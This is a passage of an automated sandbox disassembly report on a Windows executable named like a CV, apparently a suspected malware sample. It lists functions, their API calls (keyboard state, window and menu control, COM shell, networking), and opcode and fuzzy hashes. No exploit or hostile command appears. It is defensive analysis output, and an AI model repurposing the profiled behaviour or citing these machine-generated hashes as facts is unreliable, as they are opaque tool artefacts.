                                                                          • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                                          • String ID: BUTTON
                                                                          • API String ID: 1194449130-3405671355
                                                                          • Opcode ID: 47c55d0bba207d95f1863e26805f928b4044aa8ca21871cf351c980600a7437d
                                                                          • Instruction ID: 1976f360d96ece7d36ace989d4ed429807e356abc375a146f562fbfdf203d4ef
                                                                          • Opcode Fuzzy Hash: 47c55d0bba207d95f1863e26805f928b4044aa8ca21871cf351c980600a7437d
                                                                          • Instruction Fuzzy Hash: F72162B4204359BFE7119B24EC8DB663F2BFB4878AF446457F50582362EB718D00DB61
                                                                          Function 005E02EE Relevance: 18.3, APIs: 12, Instructions: 282comCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                          • CoInitialize.OLE32(00000000), ref: 005E034B
                                                                          • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 005E03DE
                                                                          • SHGetDesktopFolder.SHELL32(?), ref: 005E03F2
                                                                          • CoCreateInstance.OLE32(0061DA8C,00000000,00000001,00643CF8,?), ref: 005E043E
                                                                          • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 005E04AD
                                                                          • CoTaskMemFree.OLE32(?,?), ref: 005E0505
                                                                          • _memset.LIBCMT ref: 005E0542
                                                                          • SHBrowseForFolderW.SHELL32(?), ref: 005E057E
                                                                          • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 005E05A1
                                                                          • CoTaskMemFree.OLE32(00000000), ref: 005E05A8
                                                                          • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 005E05DF
                                                                          • CoUninitialize.OLE32(00000001,00000000), ref: 005E05E1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                                          • String ID:
                                                                          • API String ID: 1246142700-0
                                                                          • Opcode ID: 9d564a1aab3dfda669dbbd93d11d6885d438797f8700c3611a6d34720b212cc7
                                                                          • Instruction ID: 7e308bc2d3503bcd418adf4d3edef76ea7b29fbb65d0c85f3e3c97a287b4a257
                                                                          • Opcode Fuzzy Hash: 9d564a1aab3dfda669dbbd93d11d6885d438797f8700c3611a6d34720b212cc7
                                                                          • Instruction Fuzzy Hash: 9BB1EB75A00249AFDB14DFA5C889DAEBBB9FF88304B14945AF805EB251DB70ED41CF50
                                                                          Function 005D2E5B Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetKeyboardState.USER32(?), ref: 005D2ED6
                                                                          • SetKeyboardState.USER32(?), ref: 005D2F41
                                                                          • GetAsyncKeyState.USER32(000000A0), ref: 005D2F61
                                                                          • GetKeyState.USER32(000000A0), ref: 005D2F78
                                                                          • GetAsyncKeyState.USER32(000000A1), ref: 005D2FA7
                                                                          • GetKeyState.USER32(000000A1), ref: 005D2FB8
                                                                          • GetAsyncKeyState.USER32(00000011), ref: 005D2FE4
                                                                          • GetKeyState.USER32(00000011), ref: 005D2FF2
                                                                          • GetAsyncKeyState.USER32(00000012), ref: 005D301B
                                                                          • GetKeyState.USER32(00000012), ref: 005D3029
                                                                          • GetAsyncKeyState.USER32(0000005B), ref: 005D3052
                                                                          • GetKeyState.USER32(0000005B), ref: 005D3060
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: State$Async$Keyboard
                                                                          • String ID:
                                                                          • API String ID: 541375521-0
                                                                          • Opcode ID: 33e4e938c9d8da6fe01e8ad2453f63df435c102ecbac5705584f2f50b49b003e
                                                                          • Instruction ID: c53344cea6d78a0557b4130c9c757ecef5101474e89f9ecc4f8164a970484eac
                                                                          • Opcode Fuzzy Hash: 33e4e938c9d8da6fe01e8ad2453f63df435c102ecbac5705584f2f50b49b003e
                                                                          • Instruction Fuzzy Hash: 9751DA6060478529FB35DBA888157EABFF4BF21340F08859FD5C2563C2DB549B8CC762
                                                                          Function 005CED02 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetDlgItem.USER32(?,00000001), ref: 005CED1E
                                                                          • GetWindowRect.USER32(00000000,?), ref: 005CED30
                                                                          • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 005CED8E
                                                                          • GetDlgItem.USER32(?,00000002), ref: 005CED99
                                                                          • GetWindowRect.USER32(00000000,?), ref: 005CEDAB
                                                                          • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 005CEE01
                                                                          • GetDlgItem.USER32(?,000003E9), ref: 005CEE0F
                                                                          • GetWindowRect.USER32(00000000,?), ref: 005CEE20
                                                                          • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 005CEE63
                                                                          • GetDlgItem.USER32(?,000003EA), ref: 005CEE71
                                                                          • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 005CEE8E
                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 005CEE9B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ItemMoveRect$Invalidate
                                                                          • String ID:
                                                                          • API String ID: 3096461208-0
                                                                          • Opcode ID: f4b02f88331508c7103e16b83dd158a96fc3e515ff2900acc05086d084b19336
                                                                          • Instruction ID: f2b56cb9ae37b8177ec6608d8230c59c9ceeb493be44605131938a76148f12f1
                                                                          • Opcode Fuzzy Hash: f4b02f88331508c7103e16b83dd158a96fc3e515ff2900acc05086d084b19336
                                                                          • Instruction Fuzzy Hash: A951FE71B00205AFDB18CFA9DD96EAEBBBAFB88701F14812DF51AD6290D7709D008B50
                                                                          Function 005AB73E Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,005AB759,?,00000000,?,?,?,?,005AB72B,00000000,?), ref: 005ABA58
                                                                          • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,005AB72B), ref: 005AB7F6
                                                                          • KillTimer.USER32(00000000,?,00000000,?,?,?,?,005AB72B,00000000,?,?,005AB2EF,?,?), ref: 005AB88D
                                                                          • DestroyAcceleratorTable.USER32(00000000), ref: 0060D8A6
                                                                          • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005AB72B,00000000,?,?,005AB2EF,?,?), ref: 0060D8D7
                                                                          • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005AB72B,00000000,?,?,005AB2EF,?,?), ref: 0060D8EE
                                                                          • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005AB72B,00000000,?,?,005AB2EF,?,?), ref: 0060D90A
                                                                          • DeleteObject.GDI32(00000000), ref: 0060D91C
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                                          • String ID:
                                                                          • API String ID: 641708696-0
                                                                          • Opcode ID: 996b1acf9152db2e5e888f218e30a2ec168a40c643b9741bd6d1537a00d9d0f7
                                                                          • Instruction ID: a3906d5a7b23ab821d5445128907c4ba6c99cba727305613540464597c8d7faf
                                                                          • Opcode Fuzzy Hash: 996b1acf9152db2e5e888f218e30a2ec168a40c643b9741bd6d1537a00d9d0f7
                                                                          • Instruction Fuzzy Hash: A8617D30500701DFEB299F58D998B6ABBF6FF96316F145519E0864AAA1C774A880DF80
                                                                          Function 005AB40A Relevance: 18.1, APIs: 12, Instructions: 131COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB526: GetWindowLongW.USER32(?,000000EB), ref: 005AB537
                                                                          • GetSysColor.USER32(0000000F), ref: 005AB438
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ColorLongWindow
                                                                          • String ID:
                                                                          • API String ID: 259745315-0
                                                                          • Opcode ID: d072d921065f28d62f6d46447683c7bddeca6dfba671dbbbcd6871efd95825c6
                                                                          • Instruction ID: bc3867b0e8678dfa376c3162a60a872a9dce72f94592d552e3e89e39302e2599
                                                                          • Opcode Fuzzy Hash: d072d921065f28d62f6d46447683c7bddeca6dfba671dbbbcd6871efd95825c6
                                                                          • Instruction Fuzzy Hash: A8418E30440140ABEF245F68D889BFD3F67BB4B721F1882A1F9658A1E7D7308C41DBA1
                                                                          Function 005D690B Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                          • String ID:
                                                                          • API String ID: 136442275-0
                                                                          • Opcode ID: 3f515846479a4bd96db5a12eb0aeb0a4e99cbea753d6ea7c7c440a8a804d3781
                                                                          • Instruction ID: 80a18980dba36b9659cf20fbda1182e4a1499c8035efd7706205e0a9d96ec871
                                                                          • Opcode Fuzzy Hash: 3f515846479a4bd96db5a12eb0aeb0a4e99cbea753d6ea7c7c440a8a804d3781
                                                                          • Instruction Fuzzy Hash: DF41217684511DAECF61DB94CC85DCBBBBDFB84300F0041A7B659A2191EB30ABD98F50
                                                                          Function 005DD76A Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 180COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CharLowerBuffW.USER32(0062DC00,0062DC00,0062DC00), ref: 005DD7CE
                                                                          • GetDriveTypeW.KERNEL32(?,00643A70,00000061), ref: 005DD898
                                                                          • _wcscpy.LIBCMT ref: 005DD8C2
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharDriveLowerType_wcscpy
                                                                          • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                                          • API String ID: 2820617543-1000479233
                                                                          • Opcode ID: e7e08c5fd913f5ef8778f052ffb656ee50436beb53e80431889cbe0923bf65d9
                                                                          • Instruction ID: eeefc377a4fe69051a912aa336fb35b8a03866f7c62598f2ec99c26edf377059
                                                                          • Opcode Fuzzy Hash: e7e08c5fd913f5ef8778f052ffb656ee50436beb53e80431889cbe0923bf65d9
                                                                          • Instruction Fuzzy Hash: 08518E31144201AFC710EF18D896AAEBFB5FF85314F10882FF59A572A2EB319D45DA52
                                                                          Function 0059936C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __swprintf.LIBCMT ref: 005993AB
                                                                          • __itow.LIBCMT ref: 005993DF
                                                                            • Part of subcall function 005B1557: _xtow@16.LIBCMT ref: 005B1578
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __itow__swprintf_xtow@16
                                                                          • String ID: %.15g$0x%p$False$True
                                                                          • API String ID: 1502193981-2263619337
                                                                          • Opcode ID: 3be72a4c8a312e7cd8afa5f0de80df9b03979bbe79ec34b4e87680a5297043e3
                                                                          • Instruction ID: c9652df189c0198922d6c78b4f72fc09c8f2ef7a47f2fe3ba9cd27b5cf54c0e6
                                                                          • Opcode Fuzzy Hash: 3be72a4c8a312e7cd8afa5f0de80df9b03979bbe79ec34b4e87680a5297043e3
                                                                          • Instruction Fuzzy Hash: 4941B771504205AFEF24DF78D945EAABBE9FF89300F20486EE549D72C1EE319941CB50
                                                                          Function 005FA1B6 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 005FA259
                                                                          • CreateCompatibleDC.GDI32(00000000), ref: 005FA260
                                                                          • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 005FA273
                                                                          • SelectObject.GDI32(00000000,00000000), ref: 005FA27B
                                                                          • GetPixel.GDI32(00000000,00000000,00000000), ref: 005FA286
                                                                          • DeleteDC.GDI32(00000000), ref: 005FA28F
                                                                          • GetWindowLongW.USER32(?,000000EC), ref: 005FA299
                                                                          • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 005FA2AD
                                                                          • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 005FA2B9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                                          • String ID: static
                                                                          • API String ID: 2559357485-2160076837
                                                                          • Opcode ID: 729fb6822e680149b6bc440e17b0f3cf0670602e73e9564bd4181f29bc603384
                                                                          • Instruction ID: b21f5b8f7775075d7ec5834aaea75500b0a54e72eed6de11d134e006860fe3be
                                                                          • Opcode Fuzzy Hash: 729fb6822e680149b6bc440e17b0f3cf0670602e73e9564bd4181f29bc603384
                                                                          • Instruction Fuzzy Hash: 2A316B71200219BFDF219FA4DC49FEA3F6AFF1A360F154215FA19A60A0C739D811DBA5
                                                                          Function 005D6F02 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscpy$CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
                                                                          • String ID: 0.0.0.0
                                                                          • API String ID: 2620052-3771769585
                                                                          • Opcode ID: 39a3a9160b3d99a31d580339ec9740856000a11d3d45ca7739a6f61b1312e60f
                                                                          • Instruction ID: 2077f87a4b7d935ef95b9cbff04883b9a8f139e4a05b703a84040425a4e1c215
                                                                          • Opcode Fuzzy Hash: 39a3a9160b3d99a31d580339ec9740856000a11d3d45ca7739a6f61b1312e60f
                                                                          • Instruction Fuzzy Hash: 3D11B471904216AFCB24AB64EC4EEDA7FACFF84710F054067F145A61D1EF74AA868B60
                                                                          Function 005B500E Relevance: 16.8, APIs: 11, Instructions: 257COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005B5047
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          • __gmtime64_s.LIBCMT ref: 005B50E0
                                                                          • __gmtime64_s.LIBCMT ref: 005B5116
                                                                          • __gmtime64_s.LIBCMT ref: 005B5133
                                                                          • __allrem.LIBCMT ref: 005B5189
                                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005B51A5
                                                                          • __allrem.LIBCMT ref: 005B51BC
                                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005B51DA
                                                                          • __allrem.LIBCMT ref: 005B51F1
                                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005B520F
                                                                          • __invoke_watson.LIBCMT ref: 005B5280
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                                          • String ID:
                                                                          • API String ID: 384356119-0
                                                                          • Opcode ID: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                                          • Instruction ID: 2011612f793bbbb2bd6f58af5b23279d5de1df347a55e2e7617a84495cf6e954
                                                                          • Opcode Fuzzy Hash: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                                          • Instruction Fuzzy Hash: 6C71B276A01F17AFE718AE68CC45BAABBA8BF45764F144229E510D6281F770E9408BD0
                                                                          Function 005D4DDD Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005D4DF8
                                                                          • GetMenuItemInfoW.USER32(00651708,000000FF,00000000,00000030), ref: 005D4E59
                                                                          • SetMenuItemInfoW.USER32(00651708,00000004,00000000,00000030), ref: 005D4E8F
                                                                          • Sleep.KERNEL32(000001F4), ref: 005D4EA1
                                                                          • GetMenuItemCount.USER32(?), ref: 005D4EE5
                                                                          • GetMenuItemID.USER32(?,00000000), ref: 005D4F01
                                                                          • GetMenuItemID.USER32(?,-00000001), ref: 005D4F2B
                                                                          • GetMenuItemID.USER32(?,?), ref: 005D4F70
                                                                          • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 005D4FB6
                                                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005D4FCA
                                                                          • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005D4FEB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                                          • String ID:
                                                                          • API String ID: 4176008265-0
                                                                          • Opcode ID: bae7741337e2745bf0392cf4c4c7a6c773452d59dddf664c9bab3fb7ebfb7ae3
                                                                          • Instruction ID: 2db5b02257ec4ebffe0015dc091bb2f569df64e8d37bf3589674df422d4484c8
                                                                          • Opcode Fuzzy Hash: bae7741337e2745bf0392cf4c4c7a6c773452d59dddf664c9bab3fb7ebfb7ae3
                                                                          • Instruction Fuzzy Hash: 5361707190029AAFDB21CF68D888AAE7FBAFB45308F14445BF441A73A1D731AD45DF21
                                                                          Function 005F9C16 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 005F9C98
                                                                          • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 005F9C9B
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 005F9CBF
                                                                          • _memset.LIBCMT ref: 005F9CD0
                                                                          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 005F9CE2
                                                                          • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 005F9D5A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$LongWindow_memset
                                                                          • String ID:
                                                                          • API String ID: 830647256-0
                                                                          • Opcode ID: 71f66b83f637eccb2634c64be072808da20628a7e2fba5ffa3423f3d2d8a1ccb
                                                                          • Instruction ID: 0ff63a2cf20054748fd6f031d2b7d9648ba51003a76cc28d4ab943dc7ec07f62
                                                                          • Opcode Fuzzy Hash: 71f66b83f637eccb2634c64be072808da20628a7e2fba5ffa3423f3d2d8a1ccb
                                                                          • Instruction Fuzzy Hash: C7616975900208AFDB10DFA8CC81FFEBBB8BB09704F14455AFA04EB291D774A942DB60
                                                                          Function 005C94E1 Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 005C94FE
                                                                          • SafeArrayAllocData.OLEAUT32(?), ref: 005C9549
